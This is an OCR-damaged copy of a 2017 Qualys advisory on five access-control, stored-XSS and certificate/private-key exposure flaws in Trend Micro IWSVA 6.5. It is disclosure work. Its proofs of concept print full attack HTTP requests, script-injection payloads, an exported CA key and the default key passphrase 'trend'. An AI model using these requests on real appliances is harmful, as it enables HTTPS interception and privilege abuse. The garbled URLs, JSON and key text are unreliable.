Qualys Security Advisory QSA-2017-01-12

January 12, 2017

Multiple Vulnerabilities in Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x

SYNOPSIS:

TrendMicro InterScan Web Security Virtual Appliance (IWSVA) does not implement functional level access
control properly.

Reference:

http://downloadcenter.trendmicro.com/?prodid=86&regs=NABU

CVE:

http://cve. mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6338

http://cve.mitre.orag/cgi-bin/cvename.cqi?name=CVE-2017-6339

http://cve. mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6340

VULNERABILITY DETAILS:

Vulnerability 1: Missing functional level access control allows an authenticated user change FTP access
control setting

An authenticated, remote user with least privilege/role (a user with ‘Auditor’ role) can change ‘FTP Access
Control Settings’ to add his own machines IP address into allowed P addresses list.

Vulnerable/Tested Version:

InterScan Web Security Virtual Appliance version IWSVA 6.5-SP2 Critical Patch Build 1739. Older versions
are also affected.


http://downloadcenter.trendmicro.com/?prodid=86&regs=NABU
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6338
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6339
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6340
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Risk Factor: Medium

Impact:

An attacker with read only rights can change ‘FTP Access Control Settings’
POST request.

by sending a specially crafted

Proof-Of-Concept:

1. Create a least privileged user ‘Auditor’ and assign it ‘Auditor’ role.
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2. Log into IWSVA web console with least privilege user ‘Auditor’.
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3. FTP Access Control Settings
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4. Make sure that you don’t have FTP access

root@kaps-virtual-machine:/# ftp 192.168.253.150
onnected to 192.168.253.150.
121-Your IP (192.1 253.133) does not have access to the IWSVA server.Contact your network administrator.

121 Connection rejected
tp= bye

5. Note down ‘CSRFGuardToken’ and ‘JSESSIONID’ values for this session.



¥ Request Headers view source
Accept: text/himl,application/xhtml+xml,application/xml;q=8.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=8.8
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 86
Content-Type: application/x-www-form-urlencoded
0T TR S N B A3 F 1 AAES7DC 29CD98963E83839E927
Host: 192.168.253.158:1812
Origin: http://192.168.253.150:1812
Referer: http://192.168.253.158:1812/password. jsp
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.8 (Windows NT 12.8; Wing4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/55.8.2883.87 Safari/537.36

¥ Form Data EW SOUrce view URL encoded
CSRFGuardToken: ESEDAVETEWDVPEHWCABYXWE6SWOTWSEW

6. Send following POST request using BurpSuite Repeater with ‘CSRFGuardToken’ and ‘JSSESSIONID’
values obtained earlier. Follow redirections in BurpSuite to complete the request.

POST /itp_clientip.jsp HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
. Accept-Language: en-US,en;q=0.5
. Accept-Encoding: gzip, deflate
. Referer: http//192.168.253.150:1812/ftp_clientip.jsp
. Cookie: JSESSIONID=443F1AAE87DC29CD98963E03039E9271
. Connection: close
. Upgrade- Insecure-Requests: 1
. Content-Type: application/x-www- form-urlencoded
. Content-Length: 250

. CSRFGuardToken=ESED4V87KWDVPEHWC4BY XW86S VIIW5EW &op=save &change_op=nochan
d&daemonaction=8 &input_tips=40+characters+maximum&ftp__use client_acl=yes&use_client_acl_vi
w=yes&inputtype=ip &ip=192.168.253.133 &desc=Ubuntu&itemlist=192.168.253.133+%3BUbuntu

5. This enables FTP access

root@kaps-virtual-machine:/# ftp 192.168.253.150
onnected to 192.168.253.150.

220 IWSS FTP proxy ready
Mame (192.168.253.150:root): I

6. Now log into IWSVA web console as admin from another browser and check to see if FTP Access Control
List has been updated
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Note: Per #3, the FTP ACL list did not have any IP addresses there but FTP access based on client IP was still
enabled. In either case, the above request would add an IP address to the list wiping out existing IP address if
any.



Vulnerability 2- Stored Cross-Site Scripting (XSS)

An authenticated, remote attacker can inject a Java script while creating a new report that results in a stored
cross-site scripting attack.

Risk Factor: Medium

Impact:

An attacker with low privileges can inject malicious Java script by sending a specially crafted POST request to
add a new user (which he shouldn’t be able to as per Vulnerability#1 mentioned above).

Vulnerable Parameters: -

a. hame
Note: Other parameters may be vulnerable.
CVSS Score: AV:N/AC:L/AU:S/C:N/1:P/A:N

Proof-Of-Concept:

Create a least privileged user ‘test’ and assign it ‘Reports Only’ role.

Log into IWSVA web console with least privilege user ‘test’.

Note down ‘CSRFGuardToken’ and ‘JSESSIONID’ values for this session.

Send following POST requests using BurpSuite Repeater with ‘CSRFGuardToken’ and ‘JSSESSIONID’
values obtained earlier. Follow redirections in BurpSuite to complete the request.

el

Request#1:

POST /rest/commonlog/report/template HTTP/1.1

Host: 192.168.253.150:1812

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; g=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:

http://192.168.253.150:1812/report_action.jsp?CSRFGuard Token=EPCB6F AIRAK4393 A74A9S YCRKR2(
VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9

Content-Length: 88

Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8

Connection: close

{"action":"check_name","name":"TestReportl\<script\>alert(\"Hola Report'\")\</script\>"}

Request#2:
POST /rest/commonlog/report/template HTTP/1.1




Host: 192.168.253.150:1812

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; g=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:

http://192.168.253.150:1812/report_action.jsp?CSRFGuard Token=EPCB6F AIRAK4393 A74A9SYCRKR2(
VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9

Content-Length: 3041

Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8

Connection: close

{"action":"modify","tid":"19b59380-4a41-4134-81af-fre2e6ce06d9", "template":{"tid":"19b59380-4a41-41
8laf-f7e2e6ce06d9", "name":" TestReportl\<script\>alert(\"Hola
Report\")\</script\>","description":"","enable™:true, "period":"1D", "from":-2209096400, "to"":-
2209096400, frequency™:0,"scheduled":false, "start_date":1481060520, "runtime":"0:0:0","max_exec_numbq
0,"type™:"PDF","list_number":10,"mail_enable":false,"mail_from":"","mail_to":[""],"subject":"","message
""mail_attach™:false,"fail_notice":false,"fail_mail_to":[""],"report_by™":0,"report_by list":{},"reports”:{"int
net_security":[["top_malware_spyware_detection",10,true,[0]],["top_botnet_detection™,10,true,[0]],["top_ad
nced_threats_detection",10,true,[0]],["top_custom_defense_apt blocking",10,true,[0]],["c&c_contact_alert |
unt_by date",0,true,[0]],["top_c&c_contact ip_domains",10,true,[0]],["top_users_hosts_detected by c&c
ntact_alert",10,true,[0]],["top_groups_detected by c&c contact alert",10,true,[0]],["top_malicious_sites b
cked",10,true,[0]],["top_users_blocked by malware_spyware",10,true,[0]],["top_users_blocked by malicig
s_sites",10,true,[0]],["top_groups_blocked by malware_spyware",10,true,[0]],["top_groups_blocked by m
icious_site",10,true,[0]],["top_users_by bot net detection",10,true,[0]],["most_violation for_ http_malware
can_policy",0,true,[0]],["malicious_sites_blocked by date",0,true,[2]],["malware_spyware_detection by d
" 0,true,[2]],["malware_spyware_detection_trend",0,true,[3]]],"internet_access":[["top_applications_visited’
0,true,[0]],[top_url_categories_visited",10,true,[0]],[ "top_sites_visited",10,true,[0]],["top_users_by reques
,10,true,[0]],['top_groups_by requests™,10,true,[0]],["top_url_categories_by browse time",10,true,[0]],["tq
sites_visited by browse_time",10,true,[0]],["top_users_by browse_time",10,true,[0]],["activity_level by d
s",0,true,[5]]], "bandwidth™:[["top_url_categories_by bandwidth",10,true,[0]],["top_applications_by bandw
h*,10,true,[0]],["top_users_by bandwidth"”,10,true,[0]],["top_groups_by_bandwidth",10,true,[0]],["top_siteq
by bandwidth",10,true,[0]],["total_traffic_by days"0,true,[3]]],"policy_enforcement™:[["top_url_categories
locked",10,true,[0]],["top_applications_blocked",10,true,[0]],["top_users_enforced",10,true,[0]],["top_groug
enforced"”,10,true, [0]],["top_sites_blocked",10,true,[0]],["top_users_by http_inspection”,10,true,[0]],["most
iolation_for_url_filtering_policy",0,true,[0]],["most_violation_for_application_control policy",0,true,[0]],['
ost_violation_for_access_quota_control_policy",0,true,[0]],["'most_violation _for_applets_and_activex polig
"0,true,[0]],["most_violation_for_http_inspection_policy",0,true,[0]]],"data_security™:[["top_dIp_templates]
locked by requests”,10,true,[2]],["top_blocked users",10,true,[0]],["top_blocked groups",10,true,[0]],["ma
_violation_for_data_loss_prevention_policy",0,true,[0]]],"custom_reports™:[]},"last_gen time":1481103598
current_exec_time™:1,"scheduled_time_filter™:"0","device_group™:"","last_update_by":"test2"}}

5. Any user visiting 'reports.jsp' and 'show_auditlog.jsp' pages will see alert 'Hola Report!":
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Vulnerability 3- Missing functional level access control allows an Auditor user modify existing reports or
create new one, thus can exploit Stored Cross-Site Scripting vulnerability mentioned above.

An authenticated, remote attacker with ‘Auditor’ role assigned to him/her, can modify existing reports or create
anew one. This user can also exploit the stored cross-site scripting vulnerability mentioned above.

Risk Factor: Medium

Impact:

An attacker with low privileges can create/modify reports and inject malicious Java script by sending a specially
crafted POST request.

Vulnerable Parameters: -

b. name
Note: Other parameters may be vulnerable.
CVSS Score: AV:N/AC:L/AU:S/C:N/1:P/A:N

Proof-Of-Concept:

Create a least privileged user ‘Auditor’ and assign it ‘Auditor’ role.

Log into IWSVA web console with least privilege user ‘Auditor’.

Note down ‘CSRFGuardToken’ and ‘JSESSIONID’ values for this session.

Send following POST requests using BurpSuite Repeater with ‘CSRFGuardToken’ and ‘JSSESSIONID’
values obtained earlier. Follow redirections in BurpSuite to complete the request.

M owne

Request#1:

POST /rest/commonlog/report/template HTTP/1.1

Host: 192.168.253.150:1812

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:;50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; g=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:

http://192.168.253.150:1812/report_action.jsp?CSRFGuard Token=5X0ODT27811J9VZJ4APHUU2PJVPCGS]
YP&mode=add

Content-Length: 92

Cookie: JSESSIONID=E7002FCE8A03291749B1449541B9844C

Connection: close

{"action":"check_name","name":"AuditorsReport\<script\>alert(\"Hola Auditor'\")\</script\>"}

Request#2:




POST /rest/commonlog/report/template HTTP/1.1

Host: 192.168.253.150:1812

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:

http://192.168.253.150:1812/report_action.jsp?CSRFGuard Token=5XODT27811J9VZJ4APHUU2PJVPCGS]
YP&mode=add

Content-Length: 2877

Cookie: JSESSIONID=E7002FCE8A03291749B1449541B9844C

Connection: close

{"action:""'add","template":{"reports":{"internet_security":[["top_malware_spyware_ detection",10,true,[(
,['top_botnet_detection”,10,true, [0]],["top_advanced_threats_detection",10,true,[0]],["top_custom_defense |
t blocking",10,true,[0]],["c&c_contact_alert_count by date",0,true,[0]],["top_c&c_contact_ip_domains",1(
ue,[0]],["top_users_hosts_detected by c&c_contact_alert",10,true,[0]],["top_groups_detected by c&c con
ct_alert”,10,true,[0]],["top_malicious_sites blocked",10,true,[0]],["top_users_blocked by malware_spywar
,10,true,[0]],['top_users_blocked by malicious_sites",10,true,[0]],[ “top_groups_blocked by malware_spy
re",10,true,[O]],[ "top_groups_blocked_by malicious_site",10,true,[0]],["top_users_by bot net detection”,1
rue,[0]],["'most_violation for_http_malware_scan_policy”,0,true,[0]],["malicious_sites_blocked by date",0
ue,[2]],["'malware_spyware_detection by date",0,true,[2]],["malware_spyware_detection trend",0,true,[3]]
internet_access":[["top_applications_visited",10,true,[0]],["top_url categories_visited",10,true,[0]],["top_sit
_visited",10,true,[0]],["top_users_by requests™,10,true,[0]],["top_groups_by requests”,10,true,[0]],["top_ur
categories_by browse_time",10,true,[0]],["top_sites_visited by browse_time",10,true,[0]],["top_users_by |
owse_time",10,true,[0]],["activity_level by days",0,true,[5]]],"bandwidth™:[["top_url categories_by bandy
th",10,true,[0]],["top_applications_by bandwidth",10,true,[0]],["top_users_by bandwidth",10,true,[0]],["tof
groups_by bandwidth",10,true,[0]],["top_sites_by bandwidth",10,true, [0]],["total_traffic_by days",0,true,[
],"policy_enforcement™:[["top_url _categories_blocked",10,true,[0]],["top_applications_blocked",10,true,[0]
"top_users_enforced",10,true, [0]],[“top_groups_enforced”,10,true,[0]],["top_sites_blocked™,10,true,[0]],["ta
users_by _http_inspection”,10,true,[0]],["'most_violation_for_url_filtering_policy",0,true, [0]],["most_violatig
_for_application_control_policy",0,true,[0]],["'most_violation_for_access_quota_control policy",0,true, [0]],
most_violation for_applets_and_activex policy",0,true,[0]],[""'most_violation for_http_inspection_policy",d
ue,[0]]],"data_security":[["top_dIp_templates_blocked by requests",10,true,[2]],["top_blocked users",10,tr
,[0]],['top_blocked_groups™,10,true,[0]],["most_violation_for_data_loss_prevention policy",0,true,[0]]],"cu
om _reports™[]},"mail_to™:[""],"fail_mail to":[""],"description™:"","name":" AuditorsReport\<script\>aler]
"Hola

Auditor\"")\</script\>","enable™:true,"frequency™:0,"scheduled":false, "start_date":1484170920, "runtime":’
3:12""max_exec_number™:0,"period":"1D","from":1484159400, "to":1484245800, "scheduled_time_filter":'
,"device_group™:"","type":"PDF","list_number™:10,"mail_enable™":false,"mail_from™:"" "subject":"","messag
™™ "mail_attach":false,"fail_notice":false,report by":0,"report by list":{}}}

Note: An existing report can be modified by setting “action”:”modify” and providing an appropriate report and
template “tid’.

5. Any user visiting 'reports.jsp' and 'show_auditlog.jsp' pages will see alert 'Hola Auditor!':
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Vulnerability 4- Sensitive Information Disclosure:

An authenticated, remote attacker with least privileges (‘Read-Only’ or ‘Auditor’ role assigned to him/her), can
download HTTPS Decryption certificate and private key.

Risk Factor: High

Impact:

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically
generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS
connections. It also allows administrators to upload their own certificates signed by root CA. An attacker with
low privileges can download current CA certificate and Private Key (either the default ones or uploaded by
administrators) and use those to decrypt HTTPS traffic thus compromising confidentiality.

Also, the default Private Key on this appliance is encrypted with very weak and guessable passphrase ‘trend’. If
an appliance uses default Certificate and Private Key provided by Trend Micro, an attacker can simply
download these and decrypt the Private Key using default passphrase ‘trend’.

CVSS Score: AV:N/AC:LJAU:S/C:C/I1:C/A:N

Proof-Of-Concept:

Create a least privileged user ‘Test2’ and assign him either ‘Auditor’ or ‘Reports Only’ role.

Log into IWSVA web console with least privilege user ‘Test2’.

Note down ‘CSRFGuardToken’ and ‘JSESSIONID’ values for this session.

Send following POST requests using BurpSuite Repeater with ‘CSRFGuardToken’ and ‘JSSESSIONID’
values obtained earlier. Follow redirections in BurpSuite to complete the request.

> owbdE

Request#1:

POST /servilet/com.trend. iwss.gui.servlet. XMLRPCcert?action=exportcert HTTP/1.1
Host: 192.168.253.150:1812

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=564D4B2C0A9DE1B0700F9E0A19BFBF58

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form- urlencoded

Content-Length: 147

CSRFGuardToken=RHPK4UQEZBU6G6 GVOBX9DYA2N LD3WPFW &op=save &defaultca=no &importca
certificate=&importca_key=&importca_passphrase=&importca_2passphrase=

Request#2:

POST /serviet/com.trend. iwss.gui.servlet. XMLRPCcert?action=exportkey HTTP/1.1




Host: 192.168.253.150:1812

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=564D4B2C0A9DE1B0700F9E0A19BFBF58

Connection: close

Upgrade- Insecure-Requests: 1

Content-Type: application/x-www- form- urlencoded

Content-Length: 147

CSRFGuardToken=RHPK4UQEZBU6G6 GV0OBX9DYA2N LD3WPFW &op=save &defaultca=no &importcs
certificate=&importca_key=&importca_passphrase=&importca_2passphrase=

5. The first request downloads CA Certificate ‘get current _ca_cert.cer’ and the second one downloads Private
Key ‘get_current_ca_key.cer’.

CA Certificate

MIIDATCCAsmgAwI BAgIJALS+n710woMsMAOGCSqGSIb3DQEBBQUAME4xCzAIBgNV
BAgTAKNBMQswCQYDVQQHEWIJDVTEOMAWGALUEChMFVFIFTKQXxDTALBgNVBASTBEIX
U1MxEzZARBgNVBAM TCKIXU1MuVFJF TKQWHhcNMDgxM TIXMDcwOTIOWhcNMjgxM TE2
MDcwOTIOW]BOMQswCQYDVQQIEWIDQTELMAKkGALUEBXMCQ1UXDjJAMBgNVBA0OTBVRS
RUSEMQOWCWYDVQQLEWRIVINTMRMWEQY DVQQDEwWpJVINTLIRSRUSEMIIBIJANBgkq
hkiGOWOBAQEF AAOCAQ8AMIIBCgKCAQEApucvwWAB50AzgiboEaxrVZXptpOLSjrL6
/BBCOTNK590bTule ITGVsmI0 g2Hj/b3wZpxWZCkIyECP zk6QvfThpH5¢9ZtZ+6bn
7D0IbxLK4AX/mXZM Y 4td GtBLx2gQMp69Pfo Y teb619hvjIdvICQ2Wqo7 LcOfXO+I
SOL+R0O32LSyuTwt2iBVYym7rXgXKFme6fok1q/68qWp8fthX+F9cx8JQyDQLOWRSU
QEGd085LeH6NdEhNINAC 9y XylQ5bORmMOyc/ody2wXI0 TVTuOcBQ f8tUMLrOnlt4
v6C033JipcJISNccHOzIli6/D5+UfXwbs0G/i8 LsHfoht Y Fw+xFqc7uQI DAQAB04HB
MIG+MASGCWCGSAGG+EIBDQQCFgAWHQYDVROOBBY EFLDosmmRclOVrT8/j0j+hGLg
CpgFMH4GA1UdIWR3MHWAFLDosmmRclOVrT8/j0j+hGLgCpgFoVKkUDBOMQswCQYD
VQQIEWIDQTELMAKGALIUEBXxMCQ1UxDjAMBgN VBA0o TBVRSRUSEMQOWCWYDVQQLEWRJ]
VINTMRMWEQYDVQQDEwWpJVINTLIRSRUSEggKALL6fsj TCgywwDAYDVROTBAUWAWEB
/zZANBgkghkiGO9wW0BAQUF AAOCAQEA0h0XZ82Q ZKswjEsVgDrfulWXQ7KvP XBaHW+|
VAzq3JS6IL6 TN6 mStqu36wEpjf4 UK nn7 TpV EBPB6k jGe Zak+0 ZiPa0sojgkgrOQ

OvUV2pidiD AvCcxhslgZ8W Xe XEMb+CfrO5EBsd72sxK BtJ2iKLKH6NFqrwCBStIB

3IEMzgpON zqS+r2yRPpFV8F+VXRC mmKW3SkHRiszZ9iO AF+VQO+8RynHCWS8FWN4
YGV5sTTjx8E08acrazCM+t9GamBCsUi2g3qcnSZMQ IsLrWehYN3BneNsltzik8R
Im9/tV44D/PxeFN ISIZHZmcpXREcklkgZeqg3upP+DGI2IMDw==

----- END CERTIFICATE-----




Encrypted Private Key

Proc-Type: 4 ENCRYPTED
DEK-Info: DES-EDE3-CBC,28B568992A78D7DB

0KOnN5rhcUIfRBWHf4JtGP1k7UY ndY E7nttnWhLeUXgSmXRb8D+qBfmflkNb9I3qY
QMalMymEI68FwWvHUUV62CIYohhe8ZtB7fRLrc2i0 XEGne Yd9zijTuRbI2uHMUB
ff2ykxzxaBeeylBeCNMe+XM0dzDIV6 BM7JanczQpcbodop DVCX3ySuQpDUw8QPww
ftkkfdhbSEKdNVB1NJrrQcl BKwflYFog4ImApvRI4G8JIh1glmX/78dJYa577FRYDb
g5WwWMM2s175s1vZuL TQ Vt3+uO hdf4AlY z2cdDgV/ezgfeNtw/j559dJQXXDyLk40O
wxyNdYCOwdxMYWZcvLO|jBtetgXHN Otx/fkd+kp9pflexcGhRXY fXN19GKIAMri2C
pnd7119nXG/cvI0j20 mzLxO vOtxyV8Cc5jfHeDwimY'VBpshQrB8B4vH4c/1zgDbz
SCXGM/KuldAJW31sJb9F EdeJ80z7eoBL/0/F2luo+PdImi3SKbAC Z8hp7Hxv3SKO
IXHSXFZXDzG5RXR/N IflrU/susDxP RBUscot2A2jJIu3fGm3CJvld/yj1CZMJgy4
GsZQRfRzdErOp YaBSQDyVtv2010vO3qL/seKFsMIzul9F2k HP455J5CgXIN uV8sy
IfovgiL2 ZjEozHulX4uPVsKH+BiAapqhunUoODLttx2jdh/x18J5fOrxTHAY snehX

yig3zY L9BwcdsAyv23ylylp5qcjighBM2pN lkenV+pgDZCOh3TbUy2tErin0zHO1
cpnfArCr+UBde8nEdEerqgjuiplw6HFc7PPgj1ggO Lr6N052cN8fhXjKnKXaCcTRP
0GLO+mWbh+xn/O7dxPbPBP7 IMUrNxC x1zH2pMa2VHVDESEDAP Yi5VsgunQcG3yn/
DNpVavQOMDpx23Hi8 AcAifwdojzc+wfPMO9FIAQIK+st7ELToMJhiOieQvTIS0ZD
4p8ald5JMQtYzlIfoKMiIGVgloQtkA49EF IdBVBRRMHAZUB g9 XmxK5UzvBkwY6iXxh
u2yj9sFxHgbBBGNjxaRB5hLstSrDUVIDuo UC6225XaBCD9VIp Xg5Cok5+JPT2VRT
0djb36 MGM+bAEN XmxeS59fqspxpdmoFaCMI7zPf4J76 KAISMUhOY Vglokve4/b AHb
IpXEYG4br7cDpRJIC U8io/XaNjcqsJogUSWK5I9yKkVNsE6W4vBkUPsSL/D E6/1IKmn
EiIK/58XTv2inS4brMO ICjULjx6 yXW Xv8n8Yad+c92sjDanfow7/TnAKRDgrrRvI7
VV8G92kAzzINQhUEfg6iMUGZcFx6+Gte226ga52iaL DAachDvbh7nV0QQj5LoUu
InYVc5M9ytWVLXVHF6fiRHKW8bno7UISU78PdAQJuzAtI9SHGNGTDXY5EGut8Jq9
60Rjc+CSd+XZKWnZLAznyjcMdgjcD8tohLUDOVmEarl3elo31elbOOnOBgdtTT8N
6AWY0jyOqdoA95L/NiLbdnpOW Zudi4KSYdJOgloo9btahizjOEATfUG83QqTrlYO
[EKYbJmIaT3E7F4VgRMVXJ7syWpZWooc5iYrch3DIlhXZkfcCX5P6 DhDbOXzHYFan
----- END RSA PRIVATE KEY-----

6. Decrypt the Private Key using passphrase ‘trend’

root@kali: ~

File Edit View Search Terminal Help
i:~/Desktop/TrendMicro# openssl rsa -in get current ca key\(1\).cer -out decrypt priv.key
Enter pass phrase for get current ca key(1l).cer:
riting RSA key

:~/Desktop/TrendMicro# |




7. To confirm if the certificate and private key match, use SSLHopper Certificate Key Matcher:

Enter your Certificate:
SHL+R0=2LSyuT Wiz EV Ty g KEmeETbk] o/ BqWnE s Facx ] Oy DO LOwasy " IQITh-e certificate and private key
QEGHDESLeHENIERNINACISyXyIQEhORmMOy ody2wXIOTYu OB QFEUMLOnltd match!

EC023)ipellSHecH0zlis/ DE+U WS o G/iBLsHohsY Fw+xFacJuQIDAGAECdHE
MIG+MABGCWCGSAGG+EIBDOQCFEAWHGYDVRIOBEYEFLDosmmRCIOVITE/0j+hGLe

CoEFMHAGAT UdiwRIMHWAFL DosmmRclOVI TE/0j+h GLECpEFoVKEUDEOMswC QYD
VOQIEw]DOTELMAKGA] UEBXMCD 1 UxDiAMBENVEATBYRSRUSEMQOwWCWYDYQOLEWR OKEY Modulus Hash:

lO'l::':ertiﬂcate Modulus Hash:
7bbBb6desc30fd968c5ad555e4939898

VINTMREMWEQY DWOQODEwp[V 1 MTLIRSRUS EEgkALLEFS[TC) DAYDYROTEAL wAWEB 7hh6b6deor30fdosecsads5524030808
fzANBekghkiGFwIBAQLUFAAD EAohOXZ8z07 KswEsWVEDrfuWHG TR PXBaHW +
wAzg3|SelLETHEMEtgu3 GwEp fAUKNN I TEYEBPBEKIGeZak+0ZiPalsojgker0Q
OV 2 pid fFDAVC cxhs |eZ BWHeX EMb+CrOSEBsd T 25 KBt 2IKLKH BN FariWCB 5t B
3IEMzgp0NzgS+r2yRPp PvBFHVXRCmmKWISkHRi=zz 2i0AF+VOO+8RynHOWEPWNA
YENEsTTix8E0BacrazCM+13GamBCsUize3qonSZMOIsLriWehYMNIBne s tzikER

ImSVALAD/Prer NS ZHZ mepXRECkIkEZ eqe2upP+DG IZIMDw=—=
-—--END CERTIFICATE—--

Enter your Private Key:

——BEGIN R5A PRIVATE KEY—— -
MIIEpAIBAAKCAQE A ucvwABS0 Az giboEaxrVZXptn0LSirL 6/BECOTNKS SobTule
ITGYsmI0e2H b IwZ pxWZ CklyECPzkE0wTbp HE 5717 + 6bn 700 b L kdAse e T &YDUF pri'urate kE‘y is intended to remain
YAt GtBLx 22 OMpES PoYtebE k| SviCG2Wan TLe0 O+ ESL +ROZ2L SyuTuwt2 on the server. While we try to make this
BV YymIrXaKFmetfbk] g/68qWoafhy+ FIcxB8l0yDOL OwWRSIQEGHIRSLeHENGENN process as secure as possible by using SSL
SMACISyyIQ5E0RMOys/ody2wXIOTVUO CE QUM LrOnltavECO33inclISN _

: e SR e REEEE to encrypt the key when it is sent to the
HOZIiE/ D5+ PwS0G/iBLsHoheY Fu+ xF g TuQI DAQABADIBAQCinxHOFF ebs L server, for complete security, we
/DSC08]ET 24/ GV kADAP 0AMImY bS5 llffob ] 2yaLTE2 DERRxpxbxh2C] racommend that you manually check the
NnsaW Aot NELZ+ 7o KEZhCzs A5y B/ oy 22y CwH FeeBz KrzHSEUNITVZIndmS modulus of the private key on your server

+FdhVSpx0A0DHzeddUgrk ] ulu FFTDISDFC062q0we O FOpRF2VICIkGCOAEDaMz
+MpFCBWEHz IV 1 oBREZTOFGEKMwWZImZYbkgL BPEAYIeBIHc=bT12ex O U DWg A0

v 4dwW3el) 3UCEYpISTMdEHoE YIBE2Eq KV VT E+Rokwq GAUSRYE D TC TR SEIS+Z 29
#75¥s0ghAcGBANRoH+ThTqeq7|CExi3bgozAc+osltrGENESm22ealFpFnf/aPD
WAVMIkAS MK 3 SWIrsqySullh ms7 udyauwzudkd 2000 00vh R Ivies]/g/45viM v

AESVXRSurGk M rv TIPHYmzOC U ENVCae 05 M ukrdVHBIRIGCi+nd 1 RUFSA oG BAN Ko e

using the OpensSsL commands above.




Vulnerability 5- Missing functional level access control allows a low privileged user upload HTTPS
Decryption Certificate and Private Key:

An authenticated, remote attacker with low privileges (“Reports Only” or “Auditor” role assigned to him/her)
can upload HTTPS Decryption Certificate and Private Key.

Risk Factor: High

Impact:

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically
generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS
connections. It also allows administrators to upload their own certificates signed by root CA.

An attacker with low privileges can upload new CA certificate and Private Key and use those to decrypt HTTPS
traffic thus compromising confidentiality.

CVSS Score: AV:N/AC:L/AU:S/C:C/1:C/A:N

Proof-Of-Concept:

Create a least privileged user ‘Test2’ and assign him either ‘Auditor’ or ‘Reports Only’ role.

Log into IWSVA web console with least privilege user ‘Test2’.

Note down ‘CSRFGuardToken’ and ‘JSESSIONID’ values for this session.

Send following POST requests using BurpSuite Repeater with ‘CSRFGuardToken’ and ‘JSSESSIONID’
values obtained earlier. Follow redirections in BurpSuite to complete the request. To confirm if the

Mo e




no
mmmmm e e - Te1 1fd2fd 0acO

Content-Disposition: form-data; name="importca_certificate™; filename="get current_ca_cert(2).cer"
Content-Type: application/x-x509-ca-cert

MIID4TCCAsmgAwIBAgIJALS+n7 10woMsMAOGCSqGSIh3DQEBBQUAME4AXC zZAJIBgNV
BAgGTAKNBMQswCQYDVQQHEWIDVTEOMAWGALUEChMFVFIJFTKQXDTALBgNVBASTBEI
X

ULMXEzZARBgNVBAMTCKIXU1I1MuVFIF TKQWHhcNMDgxM TIXMDcwOTIOWhcNMjgxMTE2
MDcwOTIOW]BOMQswCQYDVQQIEWIDQTELMAKGALUEBXMCQ1UXDJAMBgNVBAOTBVR
S

RUSEMQOWCWYDVQQLEWRIVINTMRMWEQY DVQQDEWpJVINTLIRSRUSEMIIBIJANBgkq
hkiGOWOBAQEF AAOCAQ8AMIIBCgKCAQEApucvwWAB5S0AzgiboEaxrVZXptpOLSjrL6
/BBCOTNK590bTuleITGVsm90 g2Hj/b3wZpxWZCkIyECP zk6QvfTbpH5¢9ZtZ+6bn
7D0IbXLk4AX/mxZM Y 4td GtBLx2gQMp69PfoY teb619hvjIovICQ2Wqo7 LcOfXO+I
SOL+R0O32LSyuTwt2iBVYym7rXqXKFme6thk1q/68qWp8fhX+F9cx8JQyDQLOWRSU
QEGd085LeHENdENNINAC 9y XylQ5bORmMOyc/ody2wXI0 TVuOcBQ f8tUMLrOnlt4
v6C033JipclISNccHOzIi6/D5+UfXw50G/i8 LsHfoht YFw+xFqc7 uQI DAQAB04HB
